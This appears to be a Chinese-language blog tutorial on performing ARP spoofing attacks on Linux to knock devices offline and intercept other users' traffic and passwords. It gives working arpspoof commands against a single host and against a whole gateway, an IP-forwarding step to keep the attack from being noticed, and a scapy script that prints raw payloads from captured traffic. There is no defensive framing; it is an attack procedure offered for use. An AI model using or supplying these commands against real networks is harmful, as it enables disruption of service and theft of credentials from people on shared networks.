关于linux上实现arp攻击截取密码
前言
这几天简单的研究了一下arp攻击,有一些进展,记录一下
环境准备
这里我是利用arpspoof
这个软件简单实现arp攻击,这个命令是属于dsniff
软件包中的
所以首先安装软件
sudo apt install dsniff
安装好后就可以攻击了
断网攻击
首先一个前提:你所攻击的对象必须和你在一个网关
linux查看网关命令
route -n
这里的10.50.20.254
就是我们的网关
然后对单一对象进行攻击
arpspoof -t 10.50.20.100 10.50.20.254 -i wlp3s0
这里的 -i
指定的是网络设备名字,可以通过ifconfig
命令查看
那么上面这条命令就可以让10.50.20.100
这个ip上不了网
对所有同一网关下的所有设备进行攻击
arpspoof 10.50.20.254 -i wlp3s0
不指定-t
就默认是指定所有ip
这样可以让所有与你统一网关下面的所有设备上不了网,除了你之外
拦截数据
让其他人上不了网很容易被察觉,所以接下来我们拦截数据
首先开启ipv4转发
echo 1 > /proc/sys/net/ipv4/ip_forward
这种修改是临时的,重启电脑后会会失效,永久修改可以更改 /etc/sysctl.conf
配置文件
在里面加一行
net.ipv4.ip_forward=1
一般配置文件里面有这一行,只需要取消注释即可
这种修改后,再次攻击后别人就不会断网了,你可以使用wireshark
对你对应的网络设备进行抓包,就可以获取到别人访问的和数据
其他
看见有一些文章拦截数据还要加一行
arpspoof -t 10.50.20.254 10.50.20.100 -i wlp3s0
也就是网关和攻击的ip调换位置,但其实这种是没有必要的,因为有些东西工具内部已经给你做好了(这里我懒得讲arp攻击的原理了,有兴趣的可以查查就知道这句写的意义了)
编写一个python脚本过滤用来获取数据
用wireshark查看拦截到的数据诸多不便,所以这里简单编写一个脚本用来过滤拦截到的数据
from scapy.all import *
import re
def pack_callback(packet):
try:
# print(packet['IP'].src)
if packet[IP].dst=='10.10.10.4':
try:
s = str(packet[Raw].load)
print(s)
except Exception as e:
# print(e)
pass
except Exception as e:
pass
sniff(filter="tcp port 8080",prn=pack_callback,iface="wlp3s0",count=0)
这里只是给一个例子,具体需求可以根据需求具体修改,我相信都有这样的能力
本文来自博客园,作者:Hello_wshuo,转载请注明原文链接:https://www.cnblogs.com/Hellowshuo/p/15622208.html